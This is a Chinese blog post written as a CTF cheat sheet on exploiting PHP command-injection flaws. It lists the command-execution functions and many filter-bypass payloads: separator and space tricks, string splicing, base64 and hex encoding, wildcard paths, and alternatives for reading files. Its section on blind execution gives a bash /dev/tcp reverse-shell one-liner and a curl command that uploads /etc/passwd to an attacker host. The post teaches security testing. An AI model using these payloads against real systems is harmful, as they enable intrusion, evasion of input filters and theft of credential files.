命令执行漏洞的利用以及绕过方式

命令执行漏洞的利用以及绕过方式

1 preg_match()函数

preg_match 函数用于执行一个正则表达式匹配。

int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
参数说明
$pattern要搜索的模式,字符串形式
$subject要搜索检测的目标字符串
$matches如果提供了参数matches,它将被填充为搜索结果 $matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags可设置标记值,参考PHP手册
$offset可选参数 offset 用于指定从目标字符串的某个未知开始搜索(单位是字节)。

返回 pattern 的匹配次数。 它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。

2 preg_replace()函数

preg_replace 函数执行一个正则表达式的搜索和替换。

preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed

搜索subject中匹配pattern的部分, 以replacement进行替换。

参数说明
$pattern要搜索的模式,可以是字符串或一个字符串数组
$replacement用于替换的字符串或字符串数组
$subject要搜索替换的目标字符串或字符串数组
$limit可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
$count可选,为替换执行的次数

如果subject是一个数组, **preg_replace()**返回一个数组, 其他情况下返回一个字符串。

如果匹配被查找到,替换后的subject被返回,其他情况下 返回没有改变的 subject。如果发生错误,返回 NULL

3 命令执行函数

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号 同shell_exec() 

4常见绕过方式

管道符

windows
|		直接执行后面的语句
||		如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&		前面和后面命令都要执行,无论前面真假
&&		如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
linux
除以上四种外,增加一种:
;		前面和后面命令都要执行,无论前面真假

空格绕过

1 ${IFS}
2 $IFS$9
2 < 符号
4 %09 用于url的传递(需要php环境)

黑名单绕过

例:过滤cat或flag等

拼接
a=c;b=at;c=fl;d=ag;$a$b $c$d
单,双引号
c""at fl''ag
反斜线
c\at fl\ag
$1、 2 等 和 2等和 2@
c$1at fl$@ag
编码绕过
1 `echo "Y2F0IGZsYWc="|base64 -d`
2 $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
读文件绕过(当cat被过滤)
1 more:一页一页的显示档案内容
2 less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
3 head:查看头几行
4 tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
5 tail:查看尾几行
6 nl:显示的时候,顺便输出行号
7 od:以二进制的方式读取档案内容
8 vi:一种编辑器,这个也可以查看
9 vim:一种编辑器,这个也可以查看
10 sort:可以查看
11 uniq:可以查看
12 file -f:报错出具体内容
13 grep:在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令: grep test *file strings
通配符绕过

?代表一个字符 *代表一串字符

1 /???/?[a][t] ?''?''?''?''
2 /???/?at flag
3 /???/?at ????
...
内敛执行绕过
`命令`和$(命令)都是执行命令的方式
1 echo "xx`pwd`"
2 echo "xx$(pwd)"
命令截断
linux中:%0a 、%0d 、; 、& 、| 、&&、||
windows中:%0a、&、|、%1a、%26

绕过长度限制

linux中>>>两个符号的使用
1 使用>命令会将原有文件内容覆盖,如果是存入不存在的文件名,那么就会新建文件再存入
2 >>符号的作用是将字符串添加到文件内容末尾,不会覆盖原内容

linux中命令换行

在Linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加\,可以将一条命令写在多行

用这种方法可以绕过一些长度限制读取文件内容

无回显命令执行做题方法

1.反弹shell:bash -c ‘bash -i >& /dev/tcp/你的ip/你的端口 0>&1’,nc -e…

2.curl:-d发送post请求,-F上传文件-F “file=@/etc/passwd” 3.wget:与

curl同理

4.nc,socat等工具(需要目标服务器存在这些工具) 5.dnslog

6.echo 写shell

附加资料

位运算符:是指对二进制位从低位到高位对齐后进行运算。

符号作用举例个人理解
&按位与m & ​n全1为1,否则为0
|按位或$m | $n全0为0,有1为1
^按位异或$m | $n不同为1,相同为0
~按位取反~$m
<<向左移位$m << $n
>>向右移位$m >> $n

获取文件路径

print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value."   ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

读取文件函数

highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
print_r(file($filename)); // var_dump
fread(fopen($filename,"r"), $size);
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
  • 5
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Snakin_ya

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值